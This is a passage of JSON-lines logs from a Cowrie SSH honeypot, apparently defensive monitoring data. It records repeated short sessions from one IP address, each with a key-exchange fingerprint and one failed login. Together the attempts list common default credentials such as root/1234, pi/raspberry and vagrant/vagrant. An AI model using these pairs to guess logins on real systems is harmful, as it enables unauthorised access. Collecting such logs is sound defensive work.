cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:53:36.880330Z","src_ip":"45.156.87.147","session":"664551706b73","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dev","password":"123321","message":"login attempt [dev/123321] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:53:37.268112Z","src_ip":"45.156.87.147","session":"664551706b73","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:53:38.355191Z","src_ip":"45.156.87.147","session":"664551706b73","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":42030,"dst_ip":"10.17.0.5","dst_port":22,"session":"ea569d95e43b","protocol":"ssh","message":"New connection: 45.156.87.147:42030 (10.17.0.5:22) [session: ea569d95e43b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:53:42.823371Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:53:42.833056Z","src_ip":"45.156.87.147","session":"ea569d95e43b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:53:42.914556Z","src_ip":"45.156.87.147","session":"ea569d95e43b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1234","message":"login attempt [root/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:53:43.163549Z","src_ip":"45.156.87.147","session":"ea569d95e43b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:53:44.248241Z","src_ip":"45.156.87.147","session":"ea569d95e43b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":42054,"dst_ip":"10.17.0.5","dst_port":22,"session":"ca3452cb9bf0","protocol":"ssh","message":"New connection: 45.156.87.147:42054 (10.17.0.5:22) [session: ca3452cb9bf0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:53:48.844043Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:53:48.849007Z","src_ip":"45.156.87.147","session":"ca3452cb9bf0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:53:48.936440Z","src_ip":"45.156.87.147","session":"ca3452cb9bf0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"nexus","password":"pi","message":"login attempt [nexus/pi] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:53:49.188971Z","src_ip":"45.156.87.147","session":"ca3452cb9bf0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:53:50.273972Z","src_ip":"45.156.87.147","session":"ca3452cb9bf0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":52384,"dst_ip":"10.17.0.5","dst_port":22,"session":"0b8b9790d88c","protocol":"ssh","message":"New connection: 45.156.87.147:52384 (10.17.0.5:22) [session: 0b8b9790d88c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:53:55.127569Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:53:55.131752Z","src_ip":"45.156.87.147","session":"0b8b9790d88c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:53:55.219994Z","src_ip":"45.156.87.147","session":"0b8b9790d88c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"P@ssw0rd","message":"login attempt [admin/P@ssw0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:53:55.470690Z","src_ip":"45.156.87.147","session":"0b8b9790d88c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:53:56.556519Z","src_ip":"45.156.87.147","session":"0b8b9790d88c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":55400,"dst_ip":"10.17.0.5","dst_port":22,"session":"9858864e0eae","protocol":"ssh","message":"New connection: 45.156.87.147:55400 (10.17.0.5:22) [session: 9858864e0eae]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:54:01.091444Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:54:01.095711Z","src_ip":"45.156.87.147","session":"9858864e0eae","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:54:01.177618Z","src_ip":"45.156.87.147","session":"9858864e0eae","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"pi","password":"raspberry","message":"login attempt [pi/raspberry] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:54:01.428400Z","src_ip":"45.156.87.147","session":"9858864e0eae","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:54:02.556270Z","src_ip":"45.156.87.147","session":"9858864e0eae","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":55406,"dst_ip":"10.17.0.5","dst_port":22,"session":"da26e769c2f4","protocol":"ssh","message":"New connection: 45.156.87.147:55406 (10.17.0.5:22) [session: da26e769c2f4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:54:07.439294Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:54:07.444299Z","src_ip":"45.156.87.147","session":"da26e769c2f4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:54:07.526636Z","src_ip":"45.156.87.147","session":"da26e769c2f4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"es","password":"123456","message":"login attempt [es/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:54:07.874091Z","src_ip":"45.156.87.147","session":"da26e769c2f4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:54:08.964992Z","src_ip":"45.156.87.147","session":"da26e769c2f4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":53182,"dst_ip":"10.17.0.5","dst_port":22,"session":"b12def5b72e1","protocol":"ssh","message":"New connection: 45.156.87.147:53182 (10.17.0.5:22) [session: b12def5b72e1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:54:13.676761Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:54:13.680423Z","src_ip":"45.156.87.147","session":"b12def5b72e1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:54:13.761712Z","src_ip":"45.156.87.147","session":"b12def5b72e1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"centreon","password":"centreon","message":"login attempt [centreon/centreon] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:54:14.016083Z","src_ip":"45.156.87.147","session":"b12def5b72e1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:54:15.106177Z","src_ip":"45.156.87.147","session":"b12def5b72e1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":33474,"dst_ip":"10.17.0.5","dst_port":22,"session":"08ebd5ed082c","protocol":"ssh","message":"New connection: 45.156.87.147:33474 (10.17.0.5:22) [session: 08ebd5ed082c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:54:19.645963Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:54:19.648885Z","src_ip":"45.156.87.147","session":"08ebd5ed082c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:54:19.729954Z","src_ip":"45.156.87.147","session":"08ebd5ed082c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"vagrant","password":"vagrant","message":"login attempt [vagrant/vagrant] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:54:20.100042Z","src_ip":"45.156.87.147","session":"08ebd5ed082c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:54:21.188344Z","src_ip":"45.156.87.147","session":"08ebd5ed082c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":33488,"dst_ip":"10.17.0.5","dst_port":22,"session":"b68bd36b63f2","protocol":"ssh","message":"New connection: 45.156.87.147:33488 (10.17.0.5:22) [session: b68bd36b63f2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:54:25.839889Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:54:25.843570Z","src_ip":"45.156.87.147","session":"b68bd36b63f2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:54:25.930370Z","src_ip":"45.156.87.147","session":"b68bd36b63f2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dev","password":"password","message":"login attempt [dev/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:54:26.180283Z","src_ip":"45.156.87.147","session":"b68bd36b63f2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:54:27.264377Z","src_ip":"45.156.87.147","session":"b68bd36b63f2","protocol":"ssh"}
